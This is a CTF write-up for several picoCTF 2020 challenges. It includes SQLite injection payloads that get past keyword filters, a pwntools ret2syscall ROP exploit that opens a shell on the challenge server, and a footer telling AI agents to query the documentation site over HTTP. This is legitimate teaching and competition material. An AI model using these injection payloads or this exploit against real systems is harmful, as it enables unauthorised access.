# picoCTF 2020 Mini-Competition

## Pitter, Patter, Platters (Autopsy)

### Challenge

'Suspicious' is written all over this disk image. Download [suspicious.dd.sda1](https://jupiter.challenges.picoctf.org/static/ca14d110858381cb297c1d22d62391a3/suspicious.dd.sda1)

### Solution

Open the `.sda` file in **Autopsy**. Click "Keyword Search" and search for the keyword **"suspicious"**. Here we find two files:

* `suspicious-file.txt`
* `suspicious-file.txt-slack`

`suspicious-file.txt` says:

```
suspicious-file.txt Nothing to see here! But you may want to look here -->


------------------------------METADATA------------------------------
```

`suspicious-file.txt-slack` says:

```
suspicious-file.txt-slack }dc7079dd_3<_|Lm_111t5_3b{FTCocip
```

{% hint style="info" %}
**File slack** is the difference between the physical file size and the logical file size. Autopsy creates **slack files** (with the `-slack` extension) from any extra space at the end of a file. These files can be displayed or hidden from the data sources area and/or the views area. Go to **"Tools => Options => Global Settings => Hide slack files in the:"** and unselect the options in this section.
{% endhint %}

Reverse the string and get flag:

```bash
echo '}dc7079dd_3<_|Lm_111t5_3b{FTCocip' | rev
```

## Web Gauntlet (SQLite Injection with WAF Bypass)

### Challenge

Can you beat the filters? Log in as admin [http://jupiter.challenges.picoctf.org:44979/](http://jupiter.challenges.picoctf.org:44979) <http://jupiter.challenges.picoctf.org:44979/filter.php>

### Solution

#### **Background Knowledge**

If we enter `user:password` on the login page, the backend SQL query will be something like this:

```sql
SELECT * FROM users WHERE username='user' AND password='solarwinds123';
```

Typically the very first payload for testing SQLi is `' or 1=1;--`, which results in the following SQL query:

```sql
SELECT * FROM users WHERE username='' or 1=1;-- AND password='solarwinds123';
```

Here the leading `'` **closes** the `username` field and anything comes after `--` is considered as **comment** (hence ignored). Since `''` evaluates to `False` and `1=1` evaluates to `True`, the entire SQL statement always evaluates to `True`.

#### **Round 1**

> Filter: `or`

In this round, the boolean expression `or` is filtered. We have to come up with a different payload. Alternatively, since the SQL default admin user is named `admin`, one possible payload without using `or` is `admin';--`. The corresponding SQL query is:

```sql
SELECT * FROM users WHERE username='admin';--' AND password='solarwinds123';
```

The SQL query got executed is shown in the background:

![Round 1 Done](/files/-MWgCo5p_pTPQI-0zWVJ)

#### **Round 2**

> Filter: `or` `and` `like` `=` `--`

For this round, simply remove the `--` from the payload for Round 1. The corresponding SQL query is:

```sql
SELECT * FROM users WHERE username='admin';' AND password='solarwinds123';
```

This query is still semantically correct since `;` closes the statement `SELECT * FROM users WHERE username='admin'`:

![Round 2 Done](/files/-MWf8kl9_z1qGUwzwKgk)

#### **Round 3**

> Filter: `or` `and` `=` `like` `>` `<` `--`

The payload for Round 2 works for this round as well:

![](/files/-MWf8nboSn9-zHcjw209)

#### **Round 4**

> Filter: `or` `and` `=` `like` `>` `<` `--` `admin`

Since `admin` is filtered, we have to come up with another approach. A typical solution for such filter is the **UNION attack**. The `UNION` keyword in SQL allows **multiple SQL statements** to be executed. For example:

```sql
SELECT Alice, Bob FROM good_people UNION SELECT Eve, Mallory FROM bad_people
```

In our case, we could construct an UNION attack as the following:

```sql
SELECT * FROM users WHERE username='ret2basic' UNION SELECT * FROM users LIMIT 1;' AND password='solarwinds123';
```

However, this payload does not work since **space** is filtered. To bypass this filter, let's replace all spaces with `/**/` (**empty comment is equivalent to space**):

```sql
SELECT * FROM users WHERE username='ret2basic'/**/UNION/**/SELECT/**/*/**/FROM/**/users/**/LIMIT/**/1;' AND password='solarwinds123';
```

This payload works:

![Round 4 Done](/files/-MWf8PH0U0y9v-R5flTt)

#### **Round 5**

> Filter: `or` `and` `=` `like` `>` `<` `--` `union` `admin`

Since `union` is filtered in this round, we should switch back to the `admin';--` idea. There are two things that need to be changed:

1. Since `admin` is filtered, we could split `admin` into `adm'||'in`, where `||` is used for concatenating strings in SQL.
2. Since `--` is filtered, we could replace `;--` with `/*` to comment out the things that we don't need.

The complete SQL query is:

```sql
SELECT * FROM users WHERE username='adm'||'in'/*' AND password='solarwinds123';
```

Now go grab your flag:

![Round 5 Done](/files/-MWf8ZvKhdAwSQvqS72B)

### Appendix: Source Code

```php
<?php
session_start();

if (!isset($_SESSION["round"])) {
    $_SESSION["round"] = 1;
}
$round = $_SESSION["round"];
$filter = array("");
$view = ($_SERVER["PHP_SELF"] == "/filter.php");

if ($round === 1) {
    $filter = array("or");
    if ($view) {
        echo "Round1: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 2) {
    $filter = array("or", "and", "like", "=", "--");
    if ($view) {
        echo "Round2: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 3) {
    $filter = array(" ", "or", "and", "=", "like", ">", "<", "--");
    // $filter = array("or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
    if ($view) {
        echo "Round3: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 4) {
    $filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "admin");
    // $filter = array(" ", "/**/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
    if ($view) {
        echo "Round4: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 5) {
    $filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "union", "admin");
    // $filter = array("0", "unhex", "char", "/*", "*/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
    if ($view) {
        echo "Round5: ".implode(" ", $filter)."<br/>";
    }
} else if ($round >= 6) {
    if ($view) {
        highlight_file("filter.php");
    }
} else {
    $_SESSION["round"] = 1;
}

// picoCTF{y0u_m4d3_1t_16f769e719ab9d3e310fd13dc1262ee1}
?>
```

## Guessing Game 1 (ret2syscall)

### Challenge

I made a simple game to show off my programming skills. See if you can beat it! [vuln](https://jupiter.challenges.picoctf.org/static/96293c0a332ee9ed529bac472daab301/vuln) [vuln.c](https://jupiter.challenges.picoctf.org/static/96293c0a332ee9ed529bac472daab301/vuln.c) [Makefile](https://jupiter.challenges.picoctf.org/static/96293c0a332ee9ed529bac472daab301/Makefile) `nc jupiter.challenges.picoctf.org 26735`

### Makefile

```
all:
        gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c

clean:
        rm vuln
```

The binary is **statically linked**, so things like ret2libc won't work.

### Source Code

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 100


long increment(long in) {
    return in + 1;
}

long get_random() {
    return rand() % BUFSIZE;
}

int do_stuff() {
    long ans = get_random();
    ans = increment(ans);
    int res = 0;

    printf("What number would you like to guess?\n");
    char guess[BUFSIZE];
    fgets(guess, BUFSIZE, stdin);

    long g = atol(guess);
    if (!g) {
        printf("That's not a valid number!\n");
    } else {
        if (g == ans) {
            printf("Congrats! You win! Your prize is this print statement!\n\n");
            res = 1;
        } else {
            printf("Nope!\n\n");
        }
    }
    return res;
}

void win() {
    char winner[BUFSIZE];
    printf("New winner!\nName? ");
    fgets(winner, 360, stdin);
    printf("Congrats %s\n\n", winner);
}

int main(int argc, char **argv){
    setvbuf(stdout, NULL, _IONBF, 0);
    // Set the gid to the effective gid
    // this prevents /bin/sh from dropping the privileges
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    int res;

    printf("Welcome to my guessing game!\n\n");

    while (1) {
        res = do_stuff();
        if (res) {
            win();
        }
    }

    return 0;
}
```

Note that the function `get_random()` does not return a random number at all since `rand()` is **unseeded**. To confirm:

```c
#include <stdio.h>
#include <stdlib.h>

#define BUFSIZE 100

long get_random()
{
    return rand() % BUFSIZE;
}

int main(int argc, char **argv)
{
    printf("%ld\n", get_random());
}
```

The output is **83**, no matter how many times you run it.

Also, pay attention to these two lines of the source code:

```
    long ans = get_random(); // ans = 83
    ans = increment(ans); // ans = 84
```

The correct answer to the question "What number would you like to guess?" should be **84**.

### Solution

Since the binary does not contain the string `"/bin/sh\x00"`, we have to construct a **2-stage exploit**:

* **Stage 1:** Build a ROP chain for writing the string `"/bin/sh\x00"` to a writable memory location. A common choice is the `.bss` section. The address of `.bss` can be found using Pwntools `elf.bss()` method.
* **Stage 2:** Do normal ret2syscall to execute `execve("/bin/sh\x00", 0, 0)`.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch='amd64', os='linux')
elf = ELF("./vuln", checksec=False)

local = False
if local:
    r = elf.process()
else:
    host = 'jupiter.challenges.picoctf.org'
    port = 26735
    r = remote(host, port)

#--------ret2syscall--------#

offset = 120
pop_rax = 0x00000000004163f4
write_gadget = 0x000000000048dd71
bin_sh_address = elf.bss()
pop_rdi = 0x0000000000400696
pop_rsi = 0x0000000000410ca3
pop_rdx = 0x000000000044a6b5
syscall = 0x000000000040137c

payload = flat(
    b"A" * offset,
    
    # Write the string "/bin/sh\x00" to .bss section
    pop_rdx, "/bin/sh\x00",
    pop_rax, bin_sh_address,
    write_gadget,
    
    # Call execve("/bin/sh\x00", 0, 0)
    pop_rax, 0x3b,
    pop_rdi, bin_sh_address,
    pop_rsi, 0,
    pop_rdx, 0,
    syscall,
)

r.sendlineafter("What number would you like to guess?\n", '84')
r.sendlineafter("Name? ", payload)
r.interactive()
```

## Guessing Game 2

{% hint style="success" %}
Solved by ret2basic
{% endhint %}

### Challenge

It's the Return of your favorite game! [vuln](https://jupiter.challenges.picoctf.org/static/98f4d8f74d09caee6c86c36d75c092a6/vuln) [vuln.c](https://jupiter.challenges.picoctf.org/static/98f4d8f74d09caee6c86c36d75c092a6/vuln.c) [Makefile](https://jupiter.challenges.picoctf.org/static/98f4d8f74d09caee6c86c36d75c092a6/Makefile) `nc jupiter.challenges.picoctf.org 57529`

### Makefile

```
all:
        gcc -m32 -no-pie -Wl,-z,relro,-z,now -o vuln vuln.c

clean:
        rm vuln
```

The binary is **dynamically linked** this time, which makes **ret2libc** possible.

### Source Code

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 512


long get_random() {
    return rand;
}

int get_version() {
    return 2;
}

int do_stuff() {
    long ans = (get_random() % 4096) + 1;
    int res = 0;

    printf("What number would you like to guess?\n");
    char guess[BUFSIZE];
    fgets(guess, BUFSIZE, stdin);

    long g = atol(guess);
    if (!g) {
        printf("That's not a valid number!\n");
    } else {
        if (g == ans) {
            printf("Congrats! You win! Your prize is this print statement!\n\n");
            res = 1;
        } else {
            printf("Nope!\n\n");
        }
    }
    return res;
}

void win() {
    char winner[BUFSIZE];
    printf("New winner!\nName? ");
    gets(winner);
    printf("Congrats: ");
    printf(winner);
    printf("\n\n");
}

int main(int argc, char **argv){
    setvbuf(stdout, NULL, _IONBF, 0);
    // Set the gid to the effective gid
    // this prevents /bin/sh from dropping the privileges
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    int res;

    printf("Welcome to my guessing game!\n");
    printf("Version: %x\n\n", get_version());

    while (1) {
        res = do_stuff();
        if (res) {
            win();
        }
    }

    return 0;
}
```

### Solution

### Exploit

```python
```

## OPT Implementation

### Challenge

Yay reversing! Relevant files: [otp](https://jupiter.challenges.picoctf.org/static/3cf0f72bb12b1fc6e96af00824beea49/otp) [flag.txt](https://jupiter.challenges.picoctf.org/static/3cf0f72bb12b1fc6e96af00824beea49/flag.txt)

### Solution

### Implementation

```python
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web2-ctf/picoctf-2020-mini-competition.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
